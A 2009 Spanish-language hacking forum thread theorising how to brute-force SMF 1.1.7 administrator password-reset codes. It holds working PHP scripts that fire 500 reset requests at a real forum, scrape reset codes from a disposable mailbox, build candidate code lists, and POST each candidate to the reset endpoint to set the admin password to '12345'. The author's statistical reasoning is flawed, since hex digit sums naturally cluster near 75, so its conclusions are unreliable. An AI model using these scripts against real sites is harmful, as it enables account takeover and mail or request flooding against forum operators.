Welcome! Log In Create A New Profile

Advanced

Reset Admin Password 1.1.7 SMF (TEORIA)

Posted by OzX 

Clickeame Para Ingresar Automaticamente a Nuestro Chat
Servidor : ircnode.com Canal : #Undersec
Servicios Undersecurity
Reverse DNS Online      Blog      Biblioteca      IRC #Undersecurity      Twitter
Reset Admin Password 1.1.7 SMF (TEORIA)
January 08, 2009 07:53PM
Reset Admin Password 1.1.7 SMF (TEORIA)

Al Pedir La Contraseña, Nos Entrega Via Email una Url Similar a Esta.

http://password.esp.am/index.php?action=reminder;sa=setpassword;u=1;code=832da39b01

En Donde:

  • u = Id del Usuario
  • code = Codigo de reseteo


¿Entonces?

Si Yo Ingreso el Mail del Administrador para Poder Resetear su Contraseña, y "Adivino" El codigo de Reseteo, Podria Resetear la Contraseña del Administrador.

¿Pero Como Carajos Sabria yo el Codigo de Reseteo?

Buena pregunta, Lo Mismo me Pregunte, y Con esa Duda en mi Cerebro, inicie un Testeo de como eran los Codigos, Para Poder Obtener Algun Patron.

Codie distintos Scripts Para Poder Facilitarme el Trabajo.


Scripts Que Envia La peticion para Que el Servidor Envie el Mail de Resteo de la Contraseña.
Server de Spam :http://spamavert.com/

Ocupe Spamavert, porque asi se me hacia muxo mas facil luego poder obtener el Codigo "code"

<?
	#FUNCION GET OBTIENE EL CODE SOURCE
	function GET($url) {
		$curl = curl_init();
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		$html = curl_exec($curl);
		curl_close($curl);
		return $html; 
	}

function POST($mail,$sid){
		$curl = curl_init();
		$post = "user=".$mail."%40spamavert.com&sc=".$sid;
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, "http://password.esp.am/index.php?action=reminder;sa=mail");
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://password.esp.am/index.php?action=reminder');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		curl_setopt($curl, CURLOPT_POST, 1);
		curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
		curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
		$result= curl_exec ($curl);
		curl_close ($curl);
		return $result;
}

function send_mail($mail){
$url = "http://password.esp.am/index.php?action=reminder";
preg_match_all("/hashLoginPassword\(this.*\'(.*)\'\);\">/", GET($url), $datos,  PREG_SET_ORDER);
$source = POST($mail,$datos[0][1]);
	if (preg_match("/A mail has been sent to your email address/", $source)) {
	echo "Email Enviado\n";
	}else{
	echo "ERROR\n";
	}
}

$mail = $argv[1];

for ($x=1;$x<=500;$x++){
echo $x." = ";
send_mail($mail);
}




?>
Ej:
php script.php nombre_de_usuario_del_mail

Lo Cual hacia que en mi Casilla Enviara 500 peticiones De Reseteo de Contraseña.


El Segundo Script Era el de Obtener el Codigo "code" de las Casillas de Mails.

<?
	#FUNCION GET OBTIENE EL CODE SOURCE
	function GET($url) {
		$curl = curl_init();
	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		$html = curl_exec($curl);
		curl_close($curl);
		return $html; 
	}

function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
	$var = substr($code,$x,1);
	if (!is_numeric($var)){
		$suma +=hexdec($var);
	}else{
		$suma +=$var;
	}
}
return $suma;
}


$mail =  $argv[1];

$host = "http://spamavert.com/";
$url = $host."/mail.php?alias=".$mail."&showIndex=1";
preg_match_all("/(mail\.php\?alias=.*&amp;ixMail=(\d*))'\"/", GET($url), $datos,  PREG_SET_ORDER); //**


for ($x=0;$x<count($datos);$x++){
$webs[] = preg_replace('/amp;/',"", $host.$datos[$x][1],1);
}
echo "[+] Mails :> ".count($webs)."\n";

foreach ($webs as $web){
preg_match_all("/code=(\w{10})\"/", GET($web), $datos,  PREG_SET_ORDER); 
$valor = $datos[0][1];
echo $datos[0][1]." ".suma($valor)."\n";
}



?>


Ahora Bien lo que me Generaba En Pantalla Era:

Quote
Codigos
9a4db8e017 77
d66a2d9181 69
e5debd2f3f 105
90fa036d6f 77
eb0fbdc58d 102
6d4b289f1e 83
a86aaeae39 94
5f911c7831 62
f67a96358a 79
12c484b448 58
1863121fbe 62
0a5d48fa55 75
fa95611eb1 73
9179662329 54
ac421d0a80 60
e1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87


Mostraba Todos los Codigos de Reseteos, Pero eran Invalidos, porque una vez Que se vuelve a Enviar otro, el anterior ya no sirve.

Talvez se Preguntaran ¿ y ese Codigo Que esta al Costado?

e88a33ebd3 87

Pues es la "Super" Ciencia que deduje XD¡

Como Son solo Valores Hexadecimales, todos esos Tienen un Valor Numerico.

a=10;
b=11;
c=12;
d=13;
e=14;
f=15;

Por lo Cual e88a33ebd3 Si lo Descuartizamos, Seria

14+8+8+10+3+3+14+11+13+3 = 87 ¡


Por lo Cual Dije Uhm¡¡¡¡ Tengo mi Primer patron¡

Todos los Codigos Equivalen a su valor Numerico, Por lo Cual, si veo cual se Repite mas dentro de unas Determinadas Peticiones podria Obtener el Codigo Valido¡

Obtuve mil Codigos Validos , Para Obtener Algun patron y lo Que Obtuve fue que Habia un rango de Numeros que se Repetia Bastante, 70-79

Agrupe todos los Codigos en Secciones de 10

Quote

e1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87
204c05b93b 57
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86

Quote

67074ecc6a 78
5b43ba896d 80
9c1a28d22d 72
24cba618c5 71
a22b423ee8 70
14f1cd9a80 73
311432ef28 53
b878399cf4 86
f5811f35ed 80
481abc32d6 70

En Conclusion, Cada 10 Peticiones Existen "SIEMPRE" Valores que Rodean 70-79

Ahora Bien para Comprovar Esto, Sume todos los Valores Que dan los Codigos, y Saque el Promedio, el Cual Magicamente Resulto en 75


Nuevamente Concluimos, Si Hacemos 10 Peticiones, y Provamos Con todas las Convinaciones Posibles que den una Suma entre 70-79, o Cada 20 o 30 Peticiones de Mails, Provamos con las convinaciones posibles que sumen 75.


Por lo Cual Existira la Posibilidad, de que Obtengamos el Codigo que Genero el Server para Resetear el Codigo del Administrador.


¿Entonces que nececitamos?

Si Deseamos Todas las Posibilidades, Tenemos que Obtener todas las Convinaciones Posibles que Sumen 75, y hacer de 15 a 20 o 30 peticiones de Mail.

Codigo Que Genera Numeros que Su Suma Sea el Valor que Nosotros queramos (echo make_code(75))

function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
			}
}while(suma($var) != $limit);
return $var;
}


Scripts Para Generar 2000 Codigos Que Sumen 75:

<?
function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
	$var = substr($code,$x,1);
	if (!is_numeric($var)){
		$suma +=hexdec($var);
	}else{
		$suma +=$var;
	}
}
return $suma;
}

function make_code($limit){
do{
$var = "";
for ($x=1;$x<=10;$x++){
$rand = rand(0,15);
$var.=dechex($rand);
			}
}while(suma($var) != $limit);
return $var;
}
################################################
$myFile = "db3.txt";
$fh = fopen($myFile, 'w') or die("can't open file");
$code = array("");
$rep = array("");
for ($x=1;$x<=20000;$x++){
$var = make_code(75);
	if (!in_array ($var, $code)){
	echo $x." : ".$var."\n";
	$code[] = $var;
	fwrite($fh, $var."\n");
	}else{
	echo "ERROR :> ".$var."\n";
	$rep[]=$var;
	}
}
fclose($fh);
echo count($code)."\n";
echo count($rep)."\n";
?>

Ahora bien en esta Parte fue en donde REMARCO CON ROJO RESET ADMIN PASSWORD TEORIA
Obtuve una Cantidad de casi 10.000 Codigos Que suman 75 sin ningun repetido¡, por lo cual si realizamos nuestra "conclucion", serian 10.000.00 Peticiones y como Minimo ¡ Porque no Sabemos Cuantas convinaciones mas Podria Generar la Suma Solamente de 75¡.

Pero es Mucho Menor que el billon de posibilidades que daba un hexadecimal de 10 digitos.

Talves Sea Posible Pero es mas posible que Dosee Primero el Servidor, Que Obtener Algun Resultado

Codigo Que con una Base de Datos Comprueba Si el Codigo es Valido:

<?
function POST($code){
		$curl = curl_init();

$url = "http://password.esp.am/index.php?action=reminder;sa=setpassword2 ";
$post = "passwrd1=12345&passwrd2=12345&code=".$code."&u=1&sc=022add0f601aa2f12569aa6ad95fe1bd";

	 	$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
		$header[] = "Cache-Control: max-age=0";
		$header[] = "Connection: keep-alive";
		$header[] = "Keep-Alive: 300";
		$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
		$header[] = "Accept-Language: en-us,en;q=0.5";
		$header[] = "Pragma: "; 
	 	curl_setopt($curl, CURLOPT_URL, $url);
		curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
		curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
		curl_setopt($curl, CURLOPT_AUTOREFERER, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 10);
		curl_setopt($curl, CURLOPT_POST, 1);
		curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
		$result= curl_exec ($curl);
		curl_close ($curl);

				if (preg_match("/<b>Password successfully set<\/b>/", $result)) {
					echo "PassWord Cambiada ".$code."\n";
				}else{
					echo "ERROR\n";
				}

}

$code = file("db2.txt"); 
foreach ($code as $value){
POST($value);
}

?>

donde db2.txt, es el txt con todas las convinaciones, claramente se puede utilizar mysql.


Testie Por Ultimo 30 Codigos que yo se que eran invalidos y 1 codigo valido y para mi sorpresa, sep, Funciona, Nada mas jawjawjaj Tendremos que Obtener el Codigo Valido.



Recalco Es Teoria, pero me entretuve bastante


Saludos¡
OzX
www.undersecurity.net

<UnderSecurity>
Re: Reset Admin Password 1.1.7 SMF (TEORIA)
January 08, 2009 10:04PM
Buenisimo oz!

Me explicaste tu teoria pero no pense que le ibas a meter tanto enfasis! XD!

---
[voodoo-labs.org] {hacking people, voodoo people} ~ Ninja coder
Language: Javascript
(this)[(æ=[]+[([]<[]),(([]|[])>(+~[]))],æ[-~æ]+æ[-~-~æ]+æ[(-~-~æ)+(-~-~æ)]+æ[+~-~+~+~+~((-~-~æ)<<(-~-~æ))]+æ[-~-~-~æ+-~-~-~æ])](æ<<æ)
Re: Reset Admin Password 1.1.7 SMF (TEORIA)
January 08, 2009 10:53PM
jajajaj xD¡ siempre me a gustado la idea de derrotar la funcion random XD'.
pero de todas formas es posible. pero costaria bastante. pero si funcionaria.

<UnderSecurity>
Re: Reset Admin Password 1.1.7 SMF (TEORIA)
January 08, 2009 11:49PM
para reducir la posibilidades de que gane ese tal "random" abria que ver como se crea el codigo de validacion.
Re: Reset Admin Password 1.1.7 SMF (TEORIA)
January 09, 2009 12:15AM
Quote
4rlekinnx
para reducir la posibilidades de que gane ese tal "random" abria que ver como se crea el codigo de validacion.

intente comprenderlo pero no entendi ni j, pork son muxas cosas que se enlazan y que llaman a una funcion y a otra, dentro de funciones, entonces no sale claro como se genera.

pero de todas formas voy a ver cuanto dura un codigo de reseteo de password, osea para ver cuanto es el tiempo que se tiene para poder "achuntarle" al code.

Saludos¡

<UnderSecurity>
Re: Reset Admin Password 1.1.7 SMF (TEORIA)
January 09, 2009 01:23PM
siguiendo la rama de las funciones, termina en esto.
substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed'])), 0, 10);

traduciendo de maquina a humano -> es imposible saber cual es el code genrado u.u la funcion mt_rand() genera un numero random entre 0 e infinito por decirlo de alguna forma.

lo que si se puede saber es que extrae los primeros 10 digitos del codigo SHA-1 generado.

lo que se me ocurre que puede ser mas factible es generar los posibles codigos de 10 digitos pero con 7 numeros y 3 letras: y probrar con todo los codigos posibles que se generan, total simpre hay una posibilidad de que se genero un codigo sha-1 con 7 numeros y 3 letras (solo con a o con b, etc...). -> lo que generaria alrededor de 3 millones de posibilidades una suma bastante menor pero aun sigue siendo mucho ¬¬!.



Edited 1 time(s). Last edit at 01/09/2009 01:26PM by 4rlekinnx.
Re: Reset Admin Password 1.1.7 SMF (TEORIA)
January 09, 2009 04:02PM
substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed'])), 0, 10);

Bastante interesante...

\W = Carácter no alfanumérico. Equivale a [^A-Za-z0-9_].
sha1(microtime() =
mt_rand() = es una mejora de rand(), el cual es muxo mas rapido y genera mejor codigos q rand().
$dbRand & $modSettings['rand_seed']= Ni idea que es pero me praecen interesante los valores que son del codigo mismo del SMF, Porque es ahy donde se podria Encontrar alguna falla.


sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed']))

Ahy 2 valores que no tengo carajo idea que hacen, $dbRand, y ModSetting, y todo eso estan dentro del sha1, PERO¡
provando un code que hize;

Muestra los Valores que den entre 70 y 79 dentro de 20 vueltas,Ocupando los Variables del sistema, microtime(), y mt_rand();
$var = substr(sha1(microtime().mt_rand()),0,10)

<?
#Coded by OzX
function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
	$var = substr($code,$x,1);
	if (!is_numeric($var)){
		$suma +=hexdec($var);
	}else{
		$suma +=$var;
	}
}
return $suma;
}
#Original
#substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand . $modSettings['rand_seed'])), 0, 10);

for ($x=1;$x<=20;$x++){
$var = substr(sha1(microtime().mt_rand()),0,10);
	if (suma($var) >=70 && suma($var) <= 79){
	echo "Valor :> ".$var." : ".suma($var)."\n";
	}

}
?>


20 Vueltas 5 intentos:

Quote

ozx@OzX:~$ php rand.php
Valor :> 348bf3c27b : 76
Valor :> 194548cbe5 : 73
Valor :> ac316e46ac : 78
Valor :> 6b7ca10d1a : 71
Total Valores :> 5

ozx@OzX:~$ php rand.php
Valor :> 25c4aa48f5 : 75
Valor :> 7eb9d750d0 : 79
Valor :> e23f53d564 : 70
Valor :> 7b18d51ff3 : 79
Valor :> a4e3fe112b : 75
Valor :> 472185a7dd : 70
Valor :> 8d7175883d : 73
Valor :> b0cc3fa811 : 73
Total Valores :> 9

ozx@OzX:~$ php rand.php
Valor :> b44ecf1463 : 74
Valor :> a928b98369 : 75
Valor :> 909ca07b2d : 73
Total Valores :> 4

ozx@OzX:~$ php rand.php
Valor :> c76a00fb99 : 79
Valor :> 845f559b3e : 79
Valor :> 00b1ed62bf : 73
Valor :> 4492a7d8f6 : 78
Valor :> e980ebd730 : 79
Valor :> 165a85da75 : 70
Valor :> 0dac94207e : 71
Valor :> be9ad01690 : 73
Total Valores :> 9

ozx@OzX:~$ php rand.php
Valor :> 03d9a86c79 : 77
Valor :> b1d666e1c6 : 76
Valor :> 44bf8294aa : 77
Valor :> c0782dadc2 : 79
Total Valores :> 5

Aunque Faltan los otros dos valores que no se que son , que son variables de php, pero de todas formas siguen dando ese "rango" de valores. entre 70-79.


Pues voy a testear pidiendo 10.000 codigos validos, y hacer 10.000 codigos con este scripts, viendo cuantos repetidos existen. talves por ahy exista un patron mayor y q ver que codigos realmente se repiten. lo random NO EXISTEN.

Saludos¡

<UnderSecurity>



Edited 1 time(s). Last edit at 01/09/2009 04:04PM by OzX.
Sorry, only registered users may post in this forum.

Click here to login

Online Users

OzX (admin, 4:14)
Guests: 4
Record Number of Users: 9 on September 07, 2009
Record Number of Guests: 66 on November 19, 2009
- Forum Statistics

Global
Topics: 2,474, Posts: 7,076, Users: 967.
Our newest member RicardoZ20.


This forum
Topics: 173, Posts: 834.